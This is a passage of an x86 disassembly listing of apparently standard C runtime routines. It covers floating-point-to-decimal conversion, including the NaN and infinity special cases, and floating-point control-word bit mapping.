		mov	byte ptr [ebp+var_2C+3], 0CCh
		mov	byte ptr [ebp+var_28], 0CCh
		mov	byte ptr [ebp+var_28+1], 0CCh
		mov	byte ptr [ebp+var_28+2], 0FBh
		mov	byte ptr [ebp+var_28+3], 3Fh
		mov	[ebp+var_74], 1
		mov	[ebp+var_6C], ecx
		jz	short loc_41CB9B
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41CB9F
; ---------------------------------------------------------------------------

loc_41CB9B:				; CODE XREF: sub_41CB21+72j
		mov	byte ptr [ebx+2], 20h

loc_41CB9F:				; CODE XREF: sub_41CB21+78j
		test	dx, dx
		mov	esi, [ebp+var_C]
		mov	edi, [ebp+var_10]
		jnz	short loc_41CBD8
		test	esi, esi
		jnz	short loc_41CBD8
		test	edi, edi
		jnz	short loc_41CBD8
		and	[ebx], di
		cmp	cx, ax
		setnz	al
		dec	al
		and	al, 0Dh
		add	al, 20h
		mov	[ebx+2], al
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		mov	byte ptr [ebx+5], 0

loc_41CBD0:				; CODE XREF: sub_41CB21+6FBj
					; sub_41CB21+8C3j
		xor	eax, eax
		inc	eax
		jmp	loc_41D3A1
; ---------------------------------------------------------------------------

loc_41CBD8:				; CODE XREF: sub_41CB21+87j
					; sub_41CB21+8Bj ...
		cmp	dx, 7FFFh
		jnz	loc_41CC81
		mov	eax, 80000000h
		cmp	esi, eax
		mov	word ptr [ebx],	1
		jnz	short loc_41CBF5
		test	edi, edi
		jz	short loc_41CC04

loc_41CBF5:				; CODE XREF: sub_41CB21+CEj
		test	esi, 40000000h
		jnz	short loc_41CC04
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41CC55
; ---------------------------------------------------------------------------

loc_41CC04:				; CODE XREF: sub_41CB21+D2j
					; sub_41CB21+DAj
		test	cx, cx
		jz	short loc_41CC1C
		cmp	esi, 0C0000000h
		jnz	short loc_41CC1C
		test	edi, edi
		jnz	short loc_41CC50
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41CC29
; ---------------------------------------------------------------------------

loc_41CC1C:				; CODE XREF: sub_41CB21+E6j
					; sub_41CB21+EEj
		cmp	esi, eax
		jnz	short loc_41CC50
		test	edi, edi
		jnz	short loc_41CC50
		push	offset a1Inf	; "1#INF"

loc_41CC29:				; CODE XREF: sub_41CB21+F9j
		lea	eax, [ebx+4]
		push	16h
		push	eax
		call	sub_411E25
		add	esp, 0Ch
		xor	esi, esi
		test	eax, eax
		jz	short loc_41CC4A
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40D222
		add	esp, 14h

loc_41CC4A:				; CODE XREF: sub_41CB21+11Aj
		mov	byte ptr [ebx+3], 5
		jmp	short loc_41CC7A
; ---------------------------------------------------------------------------

loc_41CC50:				; CODE XREF: sub_41CB21+F2j
					; sub_41CB21+FDj ...
		push	offset a1Qnan	; "1#QNAN"

loc_41CC55:				; CODE XREF: sub_41CB21+E1j
		lea	eax, [ebx+4]
		push	16h
		push	eax
		call	sub_411E25
		add	esp, 0Ch
		xor	esi, esi
		test	eax, eax
		jz	short loc_41CC76
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40D222
		add	esp, 14h

loc_41CC76:				; CODE XREF: sub_41CB21+146j
		mov	byte ptr [ebx+3], 6

loc_41CC7A:				; CODE XREF: sub_41CB21+12Dj
		xor	eax, eax
		jmp	loc_41D3A1
; ---------------------------------------------------------------------------

loc_41CC81:				; CODE XREF: sub_41CB21+BCj
		movzx	ecx, dx
		mov	ebx, ecx
		imul	ecx, 4D10h
		shr	ebx, 8
		mov	eax, esi
		shr	eax, 18h
		lea	eax, [ebx+eax*2]
		imul	eax, 4Dh
		lea	eax, [eax+ecx-134312F4h]
		sar	eax, 10h
		movzx	ecx, ax
		movsx	ebx, cx
		mov	[ebp+var_4C], ecx
		xor	eax, eax
		mov	ecx, offset dword_424240
		neg	ebx
		sub	ecx, 60h
		cmp	ebx, eax
		mov	word ptr [ebp+var_16], dx
		mov	[ebp+var_1A], esi
		mov	[ebp+var_20+2],	edi
		mov	word ptr [ebp+var_20], ax
		mov	[ebp+var_68], ecx
		jz	loc_41CF80
		jge	short loc_41CCE1
		mov	ecx, offset dword_4243A0
		neg	ebx
		sub	ecx, 60h
		mov	[ebp+var_68], ecx

loc_41CCE1:				; CODE XREF: sub_41CB21+1B1j
		cmp	ebx, eax
		jz	loc_41CF80

loc_41CCE9:				; CODE XREF: sub_41CB21+457j
		add	[ebp+var_68], 54h
		mov	ecx, ebx
		and	ecx, 7
		sar	ebx, 3
		test	ecx, ecx
		jz	loc_41CF76
		imul	ecx, 0Ch
		add	ecx, [ebp+var_68]
		cmp	word ptr [ecx],	8000h
		mov	[ebp+var_64], ecx
		jb	short loc_41CD20
		mov	esi, ecx
		lea	edi, [ebp+var_3C]
		movsd
		movsd
		lea	eax, [ebp+var_3C]
		movsd
		dec	[ebp+var_3C+2]
		mov	[ebp+var_64], eax
		mov	ecx, eax

loc_41CD20:				; CODE XREF: sub_41CB21+1EAj
		movzx	edi, word ptr [ecx+0Ah]
		mov	edx, [ebp+var_16]
		xor	eax, eax
		mov	ecx, edi
		mov	esi, 7FFFh
		xor	ecx, edx
		and	edx, esi
		and	edi, esi
		mov	[ebp+var_48], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		and	ecx, 8000h
		cmp	dx, si
		lea	eax, [edi+edx]
		movzx	eax, ax
		jnb	loc_41CF5A
		cmp	di, si
		jnb	loc_41CF5A
		cmp	ax, 0BFFDh
		ja	loc_41CF5A
		cmp	ax, 3FBFh
		ja	short loc_41CD80
		xor	eax, eax
		mov	[ebp+var_1A+2],	eax
		mov	[ebp-1Ch], eax
		mov	[ebp+var_20], eax
		jmp	loc_41CF76
; ---------------------------------------------------------------------------

loc_41CD80:				; CODE XREF: sub_41CB21+24Dj
		xor	esi, esi
		cmp	dx, si
		jnz	short loc_41CDA4
		inc	eax
		test	[ebp+var_1A+2],	7FFFFFFFh
		jnz	short loc_41CDA4
		cmp	[ebp-1Ch], esi
		jnz	short loc_41CDA4
		cmp	[ebp+var_20], esi
		jnz	short loc_41CDA4
		mov	word ptr [ebp+var_16], si
		jmp	loc_41CF76
; ---------------------------------------------------------------------------

loc_41CDA4:				; CODE XREF: sub_41CB21+264j
					; sub_41CB21+26Ej ...
		cmp	di, si
		jnz	short loc_41CDCD
		mov	edx, [ebp+var_64]
		inc	eax
		test	dword ptr [edx+8], 7FFFFFFFh
		jnz	short loc_41CDCD
		cmp	[edx+4], esi
		jnz	short loc_41CDCD
		cmp	[edx], esi
		jnz	short loc_41CDCD
		mov	[ebp+var_1A+2],	esi
		mov	[ebp-1Ch], esi
		mov	[ebp+var_20], esi
		jmp	loc_41CF76
; ---------------------------------------------------------------------------

loc_41CDCD:				; CODE XREF: sub_41CB21+286j
					; sub_41CB21+293j ...
		lea	edi, [ebp+var_C]
		mov	[ebp+var_5C], esi
		mov	[ebp+var_44], edi
		mov	[ebp+var_40], 5

loc_41CDDD:				; CODE XREF: sub_41CB21+332j
		mov	edx, [ebp+var_5C]
		mov	esi, [ebp+var_40]
		add	edx, edx
		test	esi, esi
		mov	[ebp+var_50], esi
		jle	short loc_41CE44
		lea	edx, [ebp+edx+var_20]
		mov	[ebp+var_58], edx
		mov	edx, [ebp+var_64]
		add	edx, 8
		mov	[ebp+var_54], edx

loc_41CDFC:				; CODE XREF: sub_41CB21+321j
		mov	edx, [ebp+var_58]
		mov	esi, [ebp+var_54]
		movzx	esi, word ptr [esi]
		movzx	edx, word ptr [edx]
		mov	edi, [edi-4]
		imul	edx, esi
		and	[ebp+var_70], 0
		lea	esi, [edi+edx]
		cmp	esi, edi
		jb	short loc_41CE1D
		cmp	esi, edx
		jnb	short loc_41CE24

loc_41CE1D:				; CODE XREF: sub_41CB21+2F6j
		mov	[ebp+var_70], 1

loc_41CE24:				; CODE XREF: sub_41CB21+2FAj
		cmp	[ebp+var_70], 0
		mov	edi, [ebp+var_44]
		mov	[edi-4], esi
		jz	short loc_41CE33
		inc	word ptr [edi]

loc_41CE33:				; CODE XREF: sub_41CB21+30Dj
		add	[ebp+var_58], 2
		sub	[ebp+var_54], 2
		dec	[ebp+var_50]
		cmp	[ebp+var_50], 0
		jg	short loc_41CDFC

loc_41CE44:				; CODE XREF: sub_41CB21+2C9j
		inc	edi
		inc	edi
		inc	[ebp+var_5C]
		dec	[ebp+var_40]
		cmp	[ebp+var_40], 0
		mov	[ebp+var_44], edi
		jg	short loc_41CDDD
		add	eax, 0C002h
		test	ax, ax
		jle	short loc_41CE9A

loc_41CE5F:				; CODE XREF: sub_41CB21+372j
		test	[ebp+var_8], 80000000h
		jnz	short loc_41CE95
		mov	edx, [ebp+var_10]
		mov	edi, [ebp+var_C]
		mov	esi, [ebp+var_C]
		shl	[ebp+var_10], 1
		shr	edx, 1Fh
		add	edi, edi
		or	edi, edx
		mov	edx, [ebp+var_8]
		shr	esi, 1Fh
		add	edx, edx
		or	edx, esi
		add	eax, 0FFFFh
		test	ax, ax
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edx
		jg	short loc_41CE5F

loc_41CE95:				; CODE XREF: sub_41CB21+345j
		test	ax, ax
		jg	short loc_41CEEC

loc_41CE9A:				; CODE XREF: sub_41CB21+33Cj
		add	eax, 0FFFFh
		test	ax, ax
		jge	short loc_41CEEC
		mov	edx, eax
		neg	edx
		movzx	edx, dx
		mov	[ebp+var_44], edx
		add	eax, edx

loc_41CEB0:				; CODE XREF: sub_41CB21+3BEj
		test	byte ptr [ebp+var_10], 1
		jz	short loc_41CEB9
		inc	[ebp+var_48]

loc_41CEB9:				; CODE XREF: sub_41CB21+393j
		mov	edx, [ebp+var_8]
		mov	edi, [ebp+var_C]
		mov	esi, [ebp+var_C]
		shr	[ebp+var_8], 1
		shl	edx, 1Fh
		shr	edi, 1
		or	edi, edx
		mov	edx, [ebp+var_10]
		shl	esi, 1Fh
		shr	edx, 1
		or	edx, esi
		dec	[ebp+var_44]
		mov	[ebp+var_C], edi
		mov	[ebp+var_10], edx
		jnz	short loc_41CEB0
		cmp	[ebp+var_48], 0
		jz	short loc_41CEEC
		or	word ptr [ebp+var_10], 1

loc_41CEEC:				; CODE XREF: sub_41CB21+377j
					; sub_41CB21+381j ...
		cmp	word ptr [ebp+var_10], 8000h
		ja	short loc_41CF05
		mov	edx, [ebp+var_10]
		and	edx, 1FFFFh
		cmp	edx, 18000h
		jnz	short loc_41CF38

loc_41CF05:				; CODE XREF: sub_41CB21+3D1j
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_41CF35
		and	[ebp+var_10+2],	0
		cmp	[ebp+var_C+2], 0FFFFFFFFh
		jnz	short loc_41CF30
		and	[ebp+var_C+2], 0
		cmp	word ptr [ebp+var_8+2],	0FFFFh
		jnz	short loc_41CF2A
		mov	word ptr [ebp+var_8+2],	8000h
		inc	eax
		jmp	short loc_41CF38
; ---------------------------------------------------------------------------

loc_41CF2A:				; CODE XREF: sub_41CB21+3FEj
		inc	word ptr [ebp+var_8+2]
		jmp	short loc_41CF38
; ---------------------------------------------------------------------------

loc_41CF30:				; CODE XREF: sub_41CB21+3F2j
		inc	[ebp+var_C+2]
		jmp	short loc_41CF38
; ---------------------------------------------------------------------------

loc_41CF35:				; CODE XREF: sub_41CB21+3E8j
		inc	[ebp+var_10+2]

loc_41CF38:				; CODE XREF: sub_41CB21+3E2j
					; sub_41CB21+407j ...
		cmp	ax, 7FFFh
		jnb	short loc_41CF5A
		mov	dx, word ptr [ebp+var_10+2]
		mov	word ptr [ebp+var_20], dx
		mov	edx, [ebp+var_C]
		mov	[ebp+var_20+2],	edx
		mov	edx, [ebp+var_8]
		or	eax, ecx
		mov	[ebp+var_1A], edx
		mov	word ptr [ebp+var_16], ax
		jmp	short loc_41CF76
; ---------------------------------------------------------------------------

loc_41CF5A:				; CODE XREF: sub_41CB21+230j
					; sub_41CB21+239j ...
		neg	cx
		sbb	ecx, ecx
		and	dword ptr [ebp-1Ch], 0
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		and	[ebp+var_20], 0
		mov	[ebp+var_1A+2],	ecx

loc_41CF76:				; CODE XREF: sub_41CB21+1D6j
					; sub_41CB21+25Aj ...
		test	ebx, ebx
		jnz	loc_41CCE9
		xor	eax, eax

loc_41CF80:				; CODE XREF: sub_41CB21+1ABj
					; sub_41CB21+1C2j
		mov	ecx, [ebp+var_1A+2]
		shr	ecx, 10h
		cmp	cx, 3FFFh
		mov	ebx, 7FFFh
		jb	loc_41D1E0
		mov	esi, [ebp+var_28+2]
		inc	[ebp+var_4C]
		movzx	edx, cx
		mov	ecx, esi
		xor	ecx, edx
		and	edx, ebx
		and	esi, ebx
		and	ecx, 8000h
		cmp	dx, bx
		lea	edi, [esi+edx]
		mov	[ebp+var_58], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		movzx	edi, di
		jnb	loc_41D1C6
		cmp	si, bx
		jnb	loc_41D1C6
		cmp	di, 0BFFDh
		ja	loc_41D1C6
		cmp	di, 3FBFh
		ja	short loc_41CFEB

loc_41CFE3:				; CODE XREF: sub_41CB21+503j
		mov	[ebp+var_1A+2],	eax
		jmp	loc_41D1DA
; ---------------------------------------------------------------------------

loc_41CFEB:				; CODE XREF: sub_41CB21+4C0j
		cmp	dx, ax
		jnz	short loc_41D00D
		inc	edi
		test	[ebp+var_1A+2],	7FFFFFFFh
		jnz	short loc_41D00D
		cmp	[ebp-1Ch], eax
		jnz	short loc_41D00D
		cmp	[ebp+var_20], eax
		jnz	short loc_41D00D
		mov	word ptr [ebp+var_16], ax
		jmp	loc_41D1E0
; ---------------------------------------------------------------------------

loc_41D00D:				; CODE XREF: sub_41CB21+4CDj
					; sub_41CB21+4D7j ...
		cmp	si, ax
		jnz	short loc_41D026
		inc	edi
		test	[ebp+var_28], 7FFFFFFFh
		jnz	short loc_41D026
		cmp	[ebp+var_2C], eax
		jnz	short loc_41D026
		cmp	[ebp+var_30], eax
		jz	short loc_41CFE3

loc_41D026:				; CODE XREF: sub_41CB21+4EFj
					; sub_41CB21+4F9j ...
		and	[ebp+var_54], 0
		lea	eax, [ebp+var_C]
		mov	[ebp+var_40], 5

loc_41D034:				; CODE XREF: sub_41CB21+580j
		mov	edx, [ebp+var_54]
		mov	esi, [ebp+var_40]
		add	edx, edx
		test	esi, esi
		mov	[ebp+var_50], esi
		jle	short loc_41D095
		lea	esi, [ebp+var_28]
		lea	edx, [ebp+edx+var_20]
		mov	[ebp+var_5C], esi
		mov	[ebp+var_48], edx

loc_41D050:				; CODE XREF: sub_41CB21+572j
		mov	edx, [ebp+var_5C]
		mov	esi, [ebp+var_48]
		movzx	esi, word ptr [esi]
		movzx	edx, word ptr [edx]
		and	[ebp+var_44], 0
		imul	edx, esi
		mov	esi, [eax-4]
		lea	ebx, [esi+edx]
		cmp	ebx, esi
		jb	short loc_41D071
		cmp	ebx, edx
		jnb	short loc_41D078

loc_41D071:				; CODE XREF: sub_41CB21+54Aj
		mov	[ebp+var_44], 1

loc_41D078:				; CODE XREF: sub_41CB21+54Ej
		cmp	[ebp+var_44], 0
		mov	[eax-4], ebx
		jz	short loc_41D084
		inc	word ptr [eax]

loc_41D084:				; CODE XREF: sub_41CB21+55Ej
		add	[ebp+var_48], 2
		sub	[ebp+var_5C], 2
		dec	[ebp+var_50]
		cmp	[ebp+var_50], 0
		jg	short loc_41D050

loc_41D095:				; CODE XREF: sub_41CB21+520j
		inc	eax
		inc	eax
		inc	[ebp+var_54]
		dec	[ebp+var_40]
		cmp	[ebp+var_40], 0
		jg	short loc_41D034
		add	edi, 0C002h
		xor	eax, eax
		cmp	di, ax
		jle	short loc_41D0EC

loc_41D0B0:				; CODE XREF: sub_41CB21+5C4j
		test	[ebp+var_8], 80000000h
		jnz	short loc_41D0E7
		mov	edx, [ebp+var_10]
		mov	ebx, [ebp+var_C]
		mov	esi, [ebp+var_C]
		shl	[ebp+var_10], 1
		shr	edx, 1Fh
		add	ebx, ebx
		or	ebx, edx
		mov	edx, [ebp+var_8]
		shr	esi, 1Fh
		add	edx, edx
		or	edx, esi
		add	edi, 0FFFFh
		cmp	di, ax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], edx
		jg	short loc_41D0B0

loc_41D0E7:				; CODE XREF: sub_41CB21+596j
		cmp	di, ax
		jg	short loc_41D13B

loc_41D0EC:				; CODE XREF: sub_41CB21+58Dj
		add	edi, 0FFFFh
		cmp	di, ax
		jge	short loc_41D13B
		mov	eax, edi
		neg	eax
		movzx	eax, ax
		add	edi, eax

loc_41D100:				; CODE XREF: sub_41CB21+60Cj
		test	byte ptr [ebp+var_10], 1
		jz	short loc_41D109
		inc	[ebp+var_58]

loc_41D109:				; CODE XREF: sub_41CB21+5E3j
		mov	edx, [ebp+var_8]
		mov	ebx, [ebp+var_C]
		mov	esi, [ebp+var_C]
		shr	[ebp+var_8], 1
		shl	edx, 1Fh
		shr	ebx, 1
		or	ebx, edx
		mov	edx, [ebp+var_10]
		shl	esi, 1Fh
		shr	edx, 1
		or	edx, esi
		dec	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], edx
		jnz	short loc_41D100
		xor	eax, eax
		cmp	[ebp+var_58], eax
		jz	short loc_41D13B
		or	word ptr [ebp+var_10], 1

loc_41D13B:				; CODE XREF: sub_41CB21+5C9j
					; sub_41CB21+5D4j ...
		cmp	word ptr [ebp+var_10], 8000h
		ja	short loc_41D154
		mov	edx, [ebp+var_10]
		and	edx, 1FFFFh
		cmp	edx, 18000h
		jnz	short loc_41D185

loc_41D154:				; CODE XREF: sub_41CB21+620j
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_41D182
		cmp	[ebp+var_C+2], 0FFFFFFFFh
		mov	[ebp+var_10+2],	eax
		jnz	short loc_41D17D
		cmp	word ptr [ebp+var_8+2],	0FFFFh
		mov	[ebp+var_C+2], eax
		jnz	short loc_41D177
		mov	word ptr [ebp+var_8+2],	8000h
		inc	edi
		jmp	short loc_41D185
; ---------------------------------------------------------------------------

loc_41D177:				; CODE XREF: sub_41CB21+64Bj
		inc	word ptr [ebp+var_8+2]
		jmp	short loc_41D185
; ---------------------------------------------------------------------------

loc_41D17D:				; CODE XREF: sub_41CB21+640j
		inc	[ebp+var_C+2]
		jmp	short loc_41D185
; ---------------------------------------------------------------------------

loc_41D182:				; CODE XREF: sub_41CB21+637j
		inc	[ebp+var_10+2]

loc_41D185:				; CODE XREF: sub_41CB21+631j
					; sub_41CB21+654j ...
		cmp	di, 7FFFh
		jb	short loc_41D1AA
		neg	cx
		mov	[ebp-1Ch], eax
		mov	[ebp+var_20], eax
		sbb	ecx, ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	[ebp+var_1A+2],	ecx

loc_41D1A6:				; CODE XREF: sub_41CB21+6A3j
		xor	eax, eax
		jmp	short loc_41D1E0
; ---------------------------------------------------------------------------

loc_41D1AA:				; CODE XREF: sub_41CB21+669j
		mov	ax, word ptr [ebp+var_10+2]
		mov	word ptr [ebp+var_20], ax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20+2],	eax
		mov	eax, [ebp+var_8]
		or	edi, ecx
		mov	[ebp+var_1A], eax
		mov	word ptr [ebp+var_16], di
		jmp	short loc_41D1A6
; ---------------------------------------------------------------------------

loc_41D1C6:				; CODE XREF: sub_41CB21+4A1j
					; sub_41CB21+4AAj ...
		neg	cx
		sbb	ecx, ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	[ebp+var_1A+2],	ecx

loc_41D1DA:				; CODE XREF: sub_41CB21+4C5j
		mov	[ebp-1Ch], eax
		mov	[ebp+var_20], eax

loc_41D1E0:				; CODE XREF: sub_41CB21+46Fj
					; sub_41CB21+4E7j ...
		test	[ebp+arg_10], 1
		mov	edx, [ebp+var_60]
		mov	ecx, [ebp+var_4C]
		mov	[edx], cx
		jz	short loc_41D221
		movsx	ecx, cx
		add	[ebp+arg_C], ecx
		cmp	[ebp+arg_C], eax
		jg	short loc_41D221
		and	word ptr [edx],	0
		cmp	word ptr [ebp+var_6C], 8000h
		mov	byte ptr [edx+3], 1
		setnz	al
		dec	al
		and	al, 0Dh
		add	al, 20h
		mov	[edx+2], al
		mov	byte ptr [edx+4], 30h
		mov	byte ptr [edx+5], 0
		jmp	loc_41CBD0
; ---------------------------------------------------------------------------

loc_41D221:				; CODE XREF: sub_41CB21+6CCj
					; sub_41CB21+6D7j
		push	15h
		pop	ecx
		cmp	[ebp+arg_C], ecx
		jle	short loc_41D22C
		mov	[ebp+arg_C], ecx

loc_41D22C:				; CODE XREF: sub_41CB21+706j
		mov	esi, [ebp+var_1A+2]
		shr	esi, 10h
		push	8
		sub	esi, 3FFEh
		mov	word ptr [ebp+var_16], ax
		pop	ebx

loc_41D23F:				; CODE XREF: sub_41CB21+742j
		mov	eax, [ebp+var_20]
		mov	edi, [ebp-1Ch]
		mov	ecx, [ebp-1Ch]
		shl	[ebp+var_20], 1
		shr	eax, 1Fh
		add	edi, edi
		or	edi, eax
		mov	eax, [ebp+var_1A+2]
		shr	ecx, 1Fh
		add	eax, eax
		or	eax, ecx
		dec	ebx
		mov	[ebp-1Ch], edi
		mov	[ebp+var_1A+2],	eax
		jnz	short loc_41D23F
		test	esi, esi
		jge	short loc_41D29B
		neg	esi
		and	esi, 0FFh
		jle	short loc_41D29B

loc_41D273:				; CODE XREF: sub_41CB21+778j
		mov	eax, [ebp+var_1A+2]
		mov	edi, [ebp-1Ch]
		mov	ecx, [ebp-1Ch]
		shr	[ebp+var_1A+2],	1
		shl	eax, 1Fh
		shr	edi, 1
		or	edi, eax
		mov	eax, [ebp+var_20]
		shl	ecx, 1Fh
		shr	eax, 1
		or	eax, ecx
		dec	esi
		test	esi, esi
		mov	[ebp-1Ch], edi
		mov	[ebp+var_20], eax
		jg	short loc_41D273

loc_41D29B:				; CODE XREF: sub_41CB21+746j
					; sub_41CB21+750j
		mov	eax, [ebp+arg_C]
		inc	eax
		test	eax, eax
		lea	ebx, [edx+4]
		mov	[ebp+var_40], ebx
		mov	[ebp+var_4C], eax
		jle	loc_41D365

loc_41D2B0:				; CODE XREF: sub_41CB21+83Ej
		mov	edx, [ebp+var_20]
		mov	eax, [ebp-1Ch]
		lea	esi, [ebp+var_20]
		lea	edi, [ebp+var_3C]
		movsd
		movsd
		movsd
		shl	[ebp+var_20], 1
		mov	edi, [ebp+var_20]
		shl	[ebp+var_20], 1
		shr	edx, 1Fh
		lea	ecx, [eax+eax]
		or	ecx, edx
		mov	edx, [ebp+var_1A+2]
		mov	esi, eax
		shr	esi, 1Fh
		add	edx, edx
		or	edx, esi
		mov	eax, ecx
		lea	esi, [ecx+ecx]
		shr	eax, 1Fh
		lea	ecx, [edx+edx]
		mov	edx, [ebp+var_3C]
		shr	edi, 1Fh
		or	ecx, eax
		mov	eax, [ebp+var_20]
		or	esi, edi
		lea	edi, [edx+eax]
		cmp	edi, eax
		jb	short loc_41D2FF
		cmp	edi, edx
		jnb	short loc_41D317

loc_41D2FF:				; CODE XREF: sub_41CB21+7D8j
		lea	eax, [esi+1]
		xor	edx, edx
		cmp	eax, esi
		jb	short loc_41D30D
		cmp	eax, 1
		jnb	short loc_41D310

loc_41D30D:				; CODE XREF: sub_41CB21+7E5j
		xor	edx, edx
		inc	edx

loc_41D310:				; CODE XREF: sub_41CB21+7EAj
		test	edx, edx
		mov	esi, eax
		jz	short loc_41D317
		inc	ecx

loc_41D317:				; CODE XREF: sub_41CB21+7DCj
					; sub_41CB21+7F3j
		mov	eax, [ebp+var_38]
		lea	edx, [eax+esi]
		cmp	edx, esi
		mov	[ebp+var_44], edx
		jb	short loc_41D328
		cmp	edx, eax
		jnb	short loc_41D329

loc_41D328:				; CODE XREF: sub_41CB21+801j
		inc	ecx

loc_41D329:				; CODE XREF: sub_41CB21+805j
		add	ecx, [ebp+var_34]
		shr	edx, 1Fh
		add	ecx, ecx
		or	ecx, edx
		lea	esi, [edi+edi]
		mov	[ebp+var_20], esi
		mov	esi, [ebp+var_44]
		mov	[ebp+var_1A+2],	ecx
		shr	ecx, 18h
		add	esi, esi
		add	cl, 30h
		mov	eax, edi
		shr	eax, 1Fh
		or	esi, eax
		mov	[ebx], cl
		inc	ebx
		dec	[ebp+var_4C]
		cmp	[ebp+var_4C], 0
		mov	[ebp-1Ch], esi
		mov	byte ptr [ebp+var_16+1], 0
		jg	loc_41D2B0

loc_41D365:				; CODE XREF: sub_41CB21+789j
		dec	ebx
		mov	al, [ebx]
		dec	ebx
		cmp	al, 35h
		jge	short loc_41D37B
		mov	ecx, [ebp+var_40]
		jmp	short loc_41D3B6
; ---------------------------------------------------------------------------

loc_41D372:				; CODE XREF: sub_41CB21+85Dj
		cmp	byte ptr [ebx],	39h
		jnz	short loc_41D380
		mov	byte ptr [ebx],	30h
		dec	ebx

loc_41D37B:				; CODE XREF: sub_41CB21+84Aj
		cmp	ebx, [ebp+var_40]
		jnb	short loc_41D372

loc_41D380:				; CODE XREF: sub_41CB21+854j
		cmp	ebx, [ebp+var_40]
		mov	eax, [ebp+var_60]
		jnb	short loc_41D38C
		inc	ebx
		inc	word ptr [eax]

loc_41D38C:				; CODE XREF: sub_41CB21+865j
		inc	byte ptr [ebx]

loc_41D38E:				; CODE XREF: sub_41CB21+89Ej
		sub	bl, al
		sub	bl, 3
		movsx	ecx, bl
		mov	[eax+3], bl
		mov	byte ptr [ecx+eax+4], 0
		mov	eax, [ebp+var_74]

loc_41D3A1:				; CODE XREF: sub_41CB21+B2j
					; sub_41CB21+15Bj
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
; ---------------------------------------------------------------------------

loc_41D3B0:				; CODE XREF: sub_41CB21+897j
		cmp	byte ptr [ebx],	30h
		jnz	short loc_41D3BA
		dec	ebx

loc_41D3B6:				; CODE XREF: sub_41CB21+84Fj
		cmp	ebx, ecx
		jnb	short loc_41D3B0

loc_41D3BA:				; CODE XREF: sub_41CB21+892j
		cmp	ebx, ecx
		mov	eax, [ebp+var_60]
		jnb	short loc_41D38E
		and	word ptr [eax],	0
		cmp	word ptr [ebp+var_6C], 8000h
		mov	byte ptr [eax+3], 1
		setnz	dl
		dec	dl
		and	dl, 0Dh
		add	dl, 20h
		mov	[eax+2], dl
		mov	byte ptr [ecx],	30h
		mov	byte ptr [eax+5], 0
		jmp	loc_41CBD0
sub_41CB21	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3E9	proc near		; CODE XREF: sub_41D517+C0p
		xor	eax, eax
		test	bl, 10h
		jz	short loc_41D3F1
		inc	eax

loc_41D3F1:				; CODE XREF: sub_41D3E9+5j
		test	bl, 8
		jz	short loc_41D3F9
		or	eax, 4

loc_41D3F9:				; CODE XREF: sub_41D3E9+Bj
		test	bl, 4
		jz	short loc_41D401
		or	eax, 8

loc_41D401:				; CODE XREF: sub_41D3E9+13j
		test	bl, 2
		jz	short loc_41D409
		or	eax, 10h

loc_41D409:				; CODE XREF: sub_41D3E9+1Bj
		test	bl, 1
		jz	short loc_41D411
		or	eax, 20h

loc_41D411:				; CODE XREF: sub_41D3E9+23j
		test	ebx, 80000h
		jz	short loc_41D41C
		or	eax, 2

loc_41D41C:				; CODE XREF: sub_41D3E9+2Ej
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		push	esi
		mov	esi, 200h
		jz	short loc_41D450
		cmp	ecx, 100h
		jz	short loc_41D44B
		cmp	ecx, esi
		jz	short loc_41D444
		cmp	ecx, edx
		jnz	short loc_41D450
		or	eax, 0C00h
		jmp	short loc_41D450
; ---------------------------------------------------------------------------

loc_41D444:				; CODE XREF: sub_41D3E9+4Ej
		or	eax, 800h
		jmp	short loc_41D450
; ---------------------------------------------------------------------------

loc_41D44B:				; CODE XREF: sub_41D3E9+4Aj
		or	eax, 400h

loc_41D450:				; CODE XREF: sub_41D3E9+42j
					; sub_41D3E9+52j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41D466
		cmp	ecx, 10000h
		jnz	short loc_41D468
		or	eax, esi
		jmp	short loc_41D468
; ---------------------------------------------------------------------------

loc_41D466:				; CODE XREF: sub_41D3E9+6Fj
		or	eax, edx

loc_41D468:				; CODE XREF: sub_41D3E9+77j
					; sub_41D3E9+7Bj
		test	ebx, 40000h
		pop	esi
		jz	short locret_41D476
		or	eax, 1000h

locret_41D476:				; CODE XREF: sub_41D3E9+86j
		retn
sub_41D3E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D477	proc near		; CODE XREF: sub_41D517:loc_41D750p
		xor	eax, eax
		test	dl, 10h
		jz	short loc_41D483
		mov	eax, 80h

loc_41D483:				; CODE XREF: sub_41D477+5j
		test	dl, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, 200h
		jz	short loc_41D492
		or	eax, ebx

loc_41D492:				; CODE XREF: sub_41D477+17j
		test	dl, 4
		jz	short loc_41D49C
		or	eax, 400h

loc_41D49C:				; CODE XREF: sub_41D477+1Ej
		test	dl, 2
		jz	short loc_41D4A6
		or	eax, 800h

loc_41D4A6:				; CODE XREF: sub_41D477+28j
		test	dl, 1
		jz	short loc_41D4B0
		or	eax, 1000h

loc_41D4B0:				; CODE XREF: sub_41D477+32j
		test	edx, 80000h
		mov	edi, 100h
		jz	short loc_41D4BF
		or	eax, edi

loc_41D4BF:				; CODE XREF: sub_41D477+44j
		mov	ecx, edx
		mov	esi, 300h
		and	ecx, esi
		jz	short loc_41D4E9
